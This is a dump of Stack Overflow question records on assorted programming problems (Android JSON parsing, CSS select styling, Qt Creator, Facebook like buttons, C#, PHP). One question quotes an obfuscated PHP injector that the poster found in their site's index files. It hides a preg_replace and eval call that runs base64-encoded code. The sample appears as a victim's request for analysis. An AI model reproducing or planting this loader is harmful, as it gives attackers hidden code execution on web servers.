{"0":"4016612622","card":"4016612622","1":"Peter Poulsen","name":"Peter Poulsen","2":"\/9j\/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP\/sABFEdWNreQABAAQAAAAeAAD\/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI\/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL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U7BkqlZieFbnJoklUTLdMlVVGfY8DBL0UoywlBTicKjEZu+qFF0IAmo1XGmzadDp9EOoWx3RxqMhVA04NOMvciWS27jI0SOByBgS10KvTEd2OqmDerlCYCcjonASPizBMrgAexTPGI3dkmV+sVOWyDKpffuLdl3k3OS5wMhULLskpKpFrByLX6qvHAD66oc2S9FOUC4bQaqtGdpZ0FSicJbEKUThMiGtjHQoOhIQ1+6hKYbGUbUbU5N11c5IRJrPuDT+7+qv1coSiM5VOsBzE9UqyudR3Vlh2TE5q8Gr\/2TE6u6VdzW1KzPft6lLJlI+RdECd2yxZyDMnslSJkWXACdFYppc6IJSbO01EJhiz\/RWBXtiyRYWwOqhs0qtIUYuubU0DCGUyauqe0KYoTNvVCfszP41BBbCEJmpCWuNU3WPmGQhNGdytMVPgqIFb6oQqMx0BU+T+6uUivoUISY0StMm8Q\/qqmTLywhClmtSeFxCFJYIQhIR\/\/Z"}
And this is the error I get:
05-14 14:13:00.723: E/log_tag(359): Error converting result org.json.JSONException: Value {"image":"\/9j\/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP\/sABFEdWNreQABAAQAAAAeAAD\/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI\/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1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m8Q\/qqmTLywhClmtSeFxCFJYIQhIR\/\/Z","2":"\/9j\/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP\/sABFEdWNreQABAAQAAAAeAAD\/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI\/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm
Can anyone tell me, what I'm doing wrong and how to fix it?
Thanks in advance
Peter | 0 |
6,202,543 | 06/01/2011 14:09:18 | 745,674 | 05/09/2011 18:57:44 | 8 | 0 | How do I read data that is waiting to be read from a device? | I'm trying to read data from a laser rangefinder device and then display the data, but I'm not completely sure how to go about this. | c# | null | null | null | null | 06/01/2011 14:17:25 | not a real question | How do I read data that is waiting to be read from a device?
===
I'm trying to read data from a laser rangefinder device and then display the data, but I'm not completely sure how to go about this. | 1 |
7,496,914 | 09/21/2011 08:40:49 | 924,353 | 09/01/2011 22:36:53 | 156 | 0 | Put CSS content in select box and rotation it | I want put CSS content in select box and rotation with CSS but it don't putting and rotation all select box. how fix it like what i want?
[Jsfiddle DEMO][1]
<div class="styled-select">
<select>
<option>Here is the first option</option>
<option>The second option</option>
</select>
</div>
.styled-select select {
padding: 5px;
border: 1px solid #ccc;
font-size: 16px;
height: 34px;
-webkit-appearance: none;
margin: 100px;
/*following here
content: "»";
-webkit-transform: rotate(-90deg);
-moz-transform: rotate(-90deg);
-ms-transform: rotate(-90deg);
-o-transform: rotate(-90deg);
filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=3);
*/
}
.styled-select select:after {
content: "»";
display: block;
writing-mode: tb-rl;
-webkit-transform: rotate(90deg);
-moz-transform: rotate(90deg);
-ms-transform: rotate(90deg);
-o-transform: rotate(90deg);
transform: rotate(90deg);
position: absolute;
bottom: 9px;
font-size: 24px;
/* Internet Explorer */
filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=3);
}
[1]: http://jsfiddle.net/n53D9/2/ | css | css3 | null | null | null | null | open | Put CSS content in select box and rotation it
===
I want put CSS content in select box and rotation with CSS but it don't putting and rotation all select box. how fix it like what i want?
[Jsfiddle DEMO][1]
<div class="styled-select">
<select>
<option>Here is the first option</option>
<option>The second option</option>
</select>
</div>
.styled-select select {
padding: 5px;
border: 1px solid #ccc;
font-size: 16px;
height: 34px;
-webkit-appearance: none;
margin: 100px;
/*following here
content: "»";
-webkit-transform: rotate(-90deg);
-moz-transform: rotate(-90deg);
-ms-transform: rotate(-90deg);
-o-transform: rotate(-90deg);
filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=3);
*/
}
.styled-select select:after {
content: "»";
display: block;
writing-mode: tb-rl;
-webkit-transform: rotate(90deg);
-moz-transform: rotate(90deg);
-ms-transform: rotate(90deg);
-o-transform: rotate(90deg);
transform: rotate(90deg);
position: absolute;
bottom: 9px;
font-size: 24px;
/* Internet Explorer */
filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=3);
}
[1]: http://jsfiddle.net/n53D9/2/ | 0 |
3,565,607 | 08/25/2010 12:08:01 | 383,759 | 07/05/2010 14:11:42 | 441 | 14 | Design tips: Visual distinction | Currently I have a site where it has a header that looks something like this:
<pre>
------------------------------------------------------
|[game specific dd][game specific dd] [main dd]|
------------------------------------------------------
</pre>
now my question is, what sort of visual distinction would you do to define the main dd as the main menu?
here is the site:
<a href="webspirited.com/ha2/">webspirited.com/ha2/</a> | html | css | graphics | null | null | 08/25/2010 14:33:05 | off topic | Design tips: Visual distinction
===
Currently I have a site where it has a header that looks something like this:
<pre>
------------------------------------------------------
|[game specific dd][game specific dd] [main dd]|
------------------------------------------------------
</pre>
now my question is, what sort of visual distinction would you do to define the main dd as the main menu?
here is the site:
<a href="webspirited.com/ha2/">webspirited.com/ha2/</a> | 2 |
3,020,358 | 06/11/2010 05:20:23 | 364,220 | 06/11/2010 05:20:23 | 1 | 0 | facebook java api | I want to integrate facebook api in java. | java | null | null | null | null | 06/11/2010 05:23:56 | not a real question | facebook java api
===
I want to integrate facebook api in java. | 1 |
11,637,569 | 07/24/2012 19:01:48 | 1,107,218 | 12/20/2011 06:03:40 | 59 | 2 | Calling Static method Main using name of a class in which it is used - C# program | I have read at least one class should contain Main method since the entry point of execution is the Main(). Lets see the code below.
using System;
namespace consoleApplication
{
class sample
{
public static void Main()
{
Console.WriteLine("Demo program");
Console.ReadKey();
}
}
}
We know that a static method inside a class can be invoked using dot operator with the class name. So can we call Main() as
sample.Main();
just like we call
Console.WriteLine();
and kindly tell me why we are not doing this?
| c# | .net | main | null | null | 07/27/2012 02:30:30 | not a real question | Calling Static method Main using name of a class in which it is used - C# program
===
I have read at least one class should contain Main method since the entry point of execution is the Main(). Lets see the code below.
using System;
namespace consoleApplication
{
class sample
{
public static void Main()
{
Console.WriteLine("Demo program");
Console.ReadKey();
}
}
}
We know that a static method inside a class can be invoked using dot operator with the class name. So can we call Main() as
sample.Main();
just like we call
Console.WriteLine();
and kindly tell me why we are not doing this?
| 1 |
9,734,604 | 03/16/2012 09:21:15 | 1,273,633 | 03/16/2012 09:15:07 | 1 | 0 | Carousel that uses HTML5 elements | I am looking for a carousel that uses HTML5 elements with fallbacks for older browsers. I need navigation and prev/next arrows as well. Any suggestions are greatly appreciated, because I searched for one for quite a while and couldn't find anything. Thanks
| javascript | jquery | html5 | carousel | null | 03/17/2012 20:48:18 | not a real question | Carousel that uses HTML5 elements
===
I am looking for a carousel that uses HTML5 elements with fallbacks for older browsers. I need navigation and prev/next arrows as well. Any suggestions are greatly appreciated, because I searched for one for quite a while and couldn't find anything. Thanks
| 1 |
6,938,722 | 08/04/2011 09:05:39 | 823,183 | 06/30/2011 14:00:55 | 420 | 39 | Divs heights 100% in a container div without static height | I had a problem today. I had 3 divs with variable heights, I never knew which one of them will be the highest. I had to position them side by side and always set the height of all 3 of them to be the same. All 3 divs are positioned in a wrapper div, but this one can't have static height, it needs to adjust itself to the highest child.
My solusion include some simple javascript:
[JS Fiddle][1]
[1]: http://jsfiddle.net/qqha2/
I hope some of you might find it usefull at some point... | javascript | html | css | position | positioning | null | open | Divs heights 100% in a container div without static height
===
I had a problem today. I had 3 divs with variable heights, I never knew which one of them will be the highest. I had to position them side by side and always set the height of all 3 of them to be the same. All 3 divs are positioned in a wrapper div, but this one can't have static height, it needs to adjust itself to the highest child.
My solusion include some simple javascript:
[JS Fiddle][1]
[1]: http://jsfiddle.net/qqha2/
I hope some of you might find it usefull at some point... | 0 |
3,966,801 | 10/19/2010 09:08:04 | 480,274 | 10/19/2010 09:08:04 | 1 | 0 | Why people prefer J2EE than .NET for enterprise applications | Is there any reason that people often tend to develop enterprise applications using J2EE than .NET? Is the cost only main reason to choose technology?
Can't we develop LinkedIn type of applications in .NET? | java | .net | java-ee | linkedin | null | 10/19/2010 09:39:08 | not constructive | Why people prefer J2EE than .NET for enterprise applications
===
Is there any reason that people often tend to develop enterprise applications using J2EE than .NET? Is the cost only main reason to choose technology?
Can't we develop LinkedIn type of applications in .NET? | 4 |
1,110,448 | 07/10/2009 15:58:47 | 136,368 | 07/10/2009 15:52:46 | 1 | 0 | How do I import a Visual C++ project into QT Creator? | I have been working with the commercial version of QT on Windows for some time, so have a large collection of Visual Studio projects. I would like to begin moving these projects into QT Creator--I have certainly moved some of them "by hand", and can make that work--but it seems like there ought to be (might be?) a Visual Studio import script or app or capability of some kind. Does anybody know of such a thing, or of a definable set of procedures to move a project from one to the other? | qt-creator | qt | null | null | null | null | open | How do I import a Visual C++ project into QT Creator?
===
I have been working with the commercial version of QT on Windows for some time, so have a large collection of Visual Studio projects. I would like to begin moving these projects into QT Creator--I have certainly moved some of them "by hand", and can make that work--but it seems like there ought to be (might be?) a Visual Studio import script or app or capability of some kind. Does anybody know of such a thing, or of a definable set of procedures to move a project from one to the other? | 0 |
6,405,079 | 06/19/2011 20:57:06 | 785,192 | 06/05/2011 22:25:31 | 1 | 0 | Android Error between Intents | enter code here
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): FATAL EXCEPTION: main
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): java.lang.RuntimeException: Unable to start activity ComponentInfo{yaraby.y/yaraby.y.yaraby}: java.lang.ClassCastException: android.widget.EditText
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2669)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2685)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at android.app.ActivityThread.access$2300(ActivityThread.java:126)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:2038)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at android.os.Handler.dispatchMessage(Handler.java:99)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at android.os.Looper.loop(Looper.java:123)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at android.app.ActivityThread.main(ActivityThread.java:4633)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at java.lang.reflect.Method.invokeNative(Native Method)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at java.lang.reflect.Method.invoke(Method.java:521)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:858)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at dalvik.system.NativeStart.main(Native Method)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): Caused by: java.lang.ClassCastException: android.widget.EditText
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at yaraby.y.yaraby.onCreate(yaraby.java:47)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1047)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2633)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): ... 11 more
| android | null | null | null | null | 06/19/2011 22:56:14 | not a real question | Android Error between Intents
===
enter code here
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): FATAL EXCEPTION: main
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): java.lang.RuntimeException: Unable to start activity ComponentInfo{yaraby.y/yaraby.y.yaraby}: java.lang.ClassCastException: android.widget.EditText
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2669)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2685)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at android.app.ActivityThread.access$2300(ActivityThread.java:126)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:2038)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at android.os.Handler.dispatchMessage(Handler.java:99)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at android.os.Looper.loop(Looper.java:123)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at android.app.ActivityThread.main(ActivityThread.java:4633)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at java.lang.reflect.Method.invokeNative(Native Method)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at java.lang.reflect.Method.invoke(Method.java:521)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:858)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at dalvik.system.NativeStart.main(Native Method)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): Caused by: java.lang.ClassCastException: android.widget.EditText
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at yaraby.y.yaraby.onCreate(yaraby.java:47)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1047)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2633)
06-19 22:52:59.370: ERROR/AndroidRuntime(3341): ... 11 more
| 1 |
11,647,528 | 07/25/2012 10:16:12 | 1,498,513 | 07/03/2012 10:41:42 | 1 | 0 | How to do center imageView in scrollView? | i have problem, i can't set center ImageView in ScrollView.
| iphone | uiscrollview | uiimageview | xcode4.2 | null | 07/26/2012 14:49:45 | not a real question | How to do center imageView in scrollView?
===
i have problem, i can't set center ImageView in ScrollView.
| 1 |
11,696,566 | 07/27/2012 22:41:28 | 1,558,796 | 07/27/2012 21:50:12 | 1 | 0 | Circular redirect trying to set up Facebook like | My club has a website www.kilcooleac.com and a facebook presence `http://www DOT facebook DOT com/kilcooleac` SO limited the number of links, replace DOT with .
I want to set up a "Facebook Like" on the webpage that when clicked it is indicated on the facebook page.
When I use the FB debugger
http://developers.facebook.com/tools/debug/og/object?q=http%3A%2F%2Fwww.kilcooleac.com%2Findex.html
Circular Redirect Path Circular redirect path detected (see 'Redirect Path' section for details).
The above mentioned section contains:
original `http://www.kilcooleac.com/index.html`
og:url `http://www.facebook.com/kilcooleac` *
302 `https://www.facebook.com/kilcooleac` #*
og:url `http://www.facebook.com/kilcooleac` *
Final URL is in bold (this is the URL we tried to extract metadata from).
URLs that are part of the circular redirect path are highlighted.
I have marked with a # the entry that is bold the Final URL, and with * the URLs that are part of the circular reference.
My meta data for Facebook is: `<meta property="og:url" content="http://www.facebook.com/kilcooleac"/>`
and my iframe for the like button is:
<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.facebook.com%2Fkilcooleac&send=false&layout=standard&width=580&show_faces=true&action=like&colorscheme=light&font=trebuchet+ms&height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:580px; height:80px;" allowTransparency="true"></iframe>
[There is a slightly similar posting on SO here][1]
I would be most obliged to receive any hints to assist with fixing this.
Thanks in advance.
[1]: http://stackoverflow.com/questions/11106434/circular-redirect-path-detected-and-wrong-open-graph-data-displayed | facebook | circular-reference | null | null | null | null | open | Circular redirect trying to set up Facebook like
===
My club has a website www.kilcooleac.com and a facebook presence `http://www DOT facebook DOT com/kilcooleac` SO limited the number of links, replace DOT with .
I want to set up a "Facebook Like" on the webpage that when clicked it is indicated on the facebook page.
When I use the FB debugger
http://developers.facebook.com/tools/debug/og/object?q=http%3A%2F%2Fwww.kilcooleac.com%2Findex.html
Circular Redirect Path Circular redirect path detected (see 'Redirect Path' section for details).
The above mentioned section contains:
original `http://www.kilcooleac.com/index.html`
og:url `http://www.facebook.com/kilcooleac` *
302 `https://www.facebook.com/kilcooleac` #*
og:url `http://www.facebook.com/kilcooleac` *
Final URL is in bold (this is the URL we tried to extract metadata from).
URLs that are part of the circular redirect path are highlighted.
I have marked with a # the entry that is bold the Final URL, and with * the URLs that are part of the circular reference.
My meta data for Facebook is: `<meta property="og:url" content="http://www.facebook.com/kilcooleac"/>`
and my iframe for the like button is:
<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.facebook.com%2Fkilcooleac&send=false&layout=standard&width=580&show_faces=true&action=like&colorscheme=light&font=trebuchet+ms&height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:580px; height:80px;" allowTransparency="true"></iframe>
[There is a slightly similar posting on SO here][1]
I would be most obliged to receive any hints to assist with fixing this.
Thanks in advance.
[1]: http://stackoverflow.com/questions/11106434/circular-redirect-path-detected-and-wrong-open-graph-data-displayed | 0 |
11,583,132 | 07/20/2012 16:11:03 | 1,541,283 | 07/20/2012 16:07:00 | 1 | 0 | how can i decode this malware PHP script? | I just notice all of my index file are having following code in my server. I would like to know how can i decode this. and find out who is behind with this code? please can you help me how to decode this.
<?php @error_reporting(0); if (!isset($eva1fYlbakB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cVSir = "\x73\164\x72\162\x65\166";$eva1tYldakBoVS1r = "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>
Thanks! | php | malware | null | null | null | 07/20/2012 16:40:36 | too localized | how can i decode this malware PHP script?
===
I just notice all of my index file are having following code in my server. I would like to know how can i decode this. and find out who is behind with this code? please can you help me how to decode this.
<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$e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\164\x72\162\x65\166";$eva1tYldakBoVS1r = "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>
Thanks! | 3 |
650,560 | 03/16/2009 14:05:33 | 40,868 | 11/26/2008 00:46:25 | 477 | 42 | how to do a "fill with color"(from mspaint) with a picturebox? | I did a little research and I didn't find a way, anyone know?
c# or vb.net
| .net | null | null | null | null | null | open | how to do a "fill with color"(from mspaint) with a picturebox?
===
I did a little research and I didn't find a way, anyone know?
c# or vb.net
| 0 |
10,195,800 | 04/17/2012 17:11:40 | 1,306,585 | 04/01/2012 17:06:10 | 15 | 1 | Trying to obtain textField data on actionPerformed | JOptionPane.showConfirmDialog(null, instructorEditorPanel,
"Edit Player JOptionPane", JOptionPane.OK_CANCEL_OPTION,JOptionPane.PLAIN_MESSAGE);
instructorEditorPanel is a Jpanel with 3 textfields. I am trying to obtain the data in the textFields and assign them to instance variables within the parent class. I know how to get the data using the getText() method. My problem is rigging the handler to perform an action when the OK button is selected. | java | homework | jdialog | null | null | null | open | Trying to obtain textField data on actionPerformed
===
JOptionPane.showConfirmDialog(null, instructorEditorPanel,
"Edit Player JOptionPane", JOptionPane.OK_CANCEL_OPTION,JOptionPane.PLAIN_MESSAGE);
instructorEditorPanel is a Jpanel with 3 textfields. I am trying to obtain the data in the textFields and assign them to instance variables within the parent class. I know how to get the data using the getText() method. My problem is rigging the handler to perform an action when the OK button is selected. | 0 |
7,614,119 | 09/30/2011 17:49:22 | 275,708 | 02/18/2010 00:45:28 | 1 | 0 | Variable as array value? (php) | Is it possible to have a varialbe in an array as a value in PHP. For example:
'arrayitem' => "$varname",
It does not seem to work and I can't find any info about this anywhere. Maybe because its just not possible? Any insight is appreciated. Thanks. | php | arrays | variables | null | null | 12/04/2011 22:58:08 | not a real question | Variable as array value? (php)
===
Is it possible to have a varialbe in an array as a value in PHP. For example:
'arrayitem' => "$varname",
It does not seem to work and I can't find any info about this anywhere. Maybe because its just not possible? Any insight is appreciated. Thanks. | 1 |
3,971,357 | 10/19/2010 18:16:12 | 380,384 | 06/30/2010 18:15:21 | 400 | 61 | What are some useful examples of extension methods dealing with mathematics and calculations? | My very often used extension method is
public static double Pi(double this x) { return Math.PI*x; }
in order to have access to `2.0.Pi()` or `0.5.Pi()` .. etc
What are some other examples of mathematics related extension methods the people use often?
PS. Just curious. | c# | math | extension-methods | null | null | 10/21/2010 13:04:07 | not a real question | What are some useful examples of extension methods dealing with mathematics and calculations?
===
My very often used extension method is
public static double Pi(double this x) { return Math.PI*x; }
in order to have access to `2.0.Pi()` or `0.5.Pi()` .. etc
What are some other examples of mathematics related extension methods the people use often?
PS. Just curious. | 1 |
10,471,193 | 05/06/2012 14:14:27 | 1,319,310 | 04/07/2012 16:15:06 | 1 | 0 | MYSQL <select> Query | I have a column in my database that is entitled area and when users register they pick an area from 6 options. When I try to setup a search that shows people from those areas using a dropdown menu it duplicates them and only shows one result when the form is submitted.
"SELECT * FROM registration ORDER BY area" is my query and in the dropdown it produces results like:
Warwickshire
Warwickshire
Warwickshire
Northamptonshire
etc. but I want it to just show Warwickshire once and when you click submit it shows all the people from Warwickshire instead of just the one user.
Any help is appreciated, thanks Richard. | php | mysql | query | select | null | null | open | MYSQL <select> Query
===
I have a column in my database that is entitled area and when users register they pick an area from 6 options. When I try to setup a search that shows people from those areas using a dropdown menu it duplicates them and only shows one result when the form is submitted.
"SELECT * FROM registration ORDER BY area" is my query and in the dropdown it produces results like:
Warwickshire
Warwickshire
Warwickshire
Northamptonshire
etc. but I want it to just show Warwickshire once and when you click submit it shows all the people from Warwickshire instead of just the one user.
Any help is appreciated, thanks Richard. | 0 |
6,227,154 | 06/03/2011 12:35:20 | 654,787 | 03/11/2011 05:30:17 | 8 | 0 | why do we use 'absolute' in EXTJS ? | var myWin1 = new Ext.Window({
height : 300,
width : 300,
layout : **'absolute'**,
why do we use **layout:'absolute'**, in EXTJS ? | extjs | null | null | null | null | null | open | why do we use 'absolute' in EXTJS ?
===
var myWin1 = new Ext.Window({
height : 300,
width : 300,
layout : **'absolute'**,
why do we use **layout:'absolute'**, in EXTJS ? | 0 |
5,697,265 | 04/17/2011 23:47:52 | 712,604 | 04/17/2011 23:47:52 | 1 | 0 | Creating an algorithm that generates appointments | Requirement
Our company organize a trade exhibition based on pre-scheduled appointments between sellers (those who pay to have a stand and meet buyers) and buyers (those who come to the event on a free of charge basis and visit sellers on their stand).
The success of our show is based on the successful delivery of perfectly matched appointments between buyers and sellers and our capacity to serve them with 12 appointments per day at fixed time over 3 days.
The show will gather around 400 exhibitors and 440 buyers.
The appointments process works as follows:
1. Buyers and sellers go online and register the 65 companies that they would most likely like to meet.
2. Each buyers and sellers can see in real time who has chosen to see them and each of them will more or less try to mirror the other party preference.
3. When it is done our system should try to create appointments into a diary table for each of the participants bearing in mind that the system should:
• First: Give preferences to perfect matching
• Second: Give preference to buyers
• Third: Give preferences to sellers with the best possible match.
We are basically looking for developers able to provide us with the right database architecture and SQL formula in order to make this happen in File maker pro.
Is anyone interested by this challenge?
Kind regards
Serge Dive
| appointment | null | null | null | null | 04/18/2011 10:34:24 | not a real question | Creating an algorithm that generates appointments
===
Requirement
Our company organize a trade exhibition based on pre-scheduled appointments between sellers (those who pay to have a stand and meet buyers) and buyers (those who come to the event on a free of charge basis and visit sellers on their stand).
The success of our show is based on the successful delivery of perfectly matched appointments between buyers and sellers and our capacity to serve them with 12 appointments per day at fixed time over 3 days.
The show will gather around 400 exhibitors and 440 buyers.
The appointments process works as follows:
1. Buyers and sellers go online and register the 65 companies that they would most likely like to meet.
2. Each buyers and sellers can see in real time who has chosen to see them and each of them will more or less try to mirror the other party preference.
3. When it is done our system should try to create appointments into a diary table for each of the participants bearing in mind that the system should:
• First: Give preferences to perfect matching
• Second: Give preference to buyers
• Third: Give preferences to sellers with the best possible match.
We are basically looking for developers able to provide us with the right database architecture and SQL formula in order to make this happen in File maker pro.
Is anyone interested by this challenge?
Kind regards
Serge Dive
| 1 |
10,471,502 | 05/06/2012 14:57:53 | 928,737 | 09/05/2011 11:12:46 | 16 | 0 | Unexpected PHP error | I get this error why trying out a piece of code:
if ( 10 < $pages )
{
if ( $currentPage == 1 )
{
$i = 1;
for ( ; do
{
$i <= 10; ++$i, )
{
$paging .= "<a href=\"".$frontUrl.$i.$backUrl."\" ".( $i == $currentPage ? " class=\"selected\"" : " class=\"normal\"" ).">".$i."</a>";
break;
}
} while ( 1 );
}
As you can see, it's for a page script, this is the error it gives me:
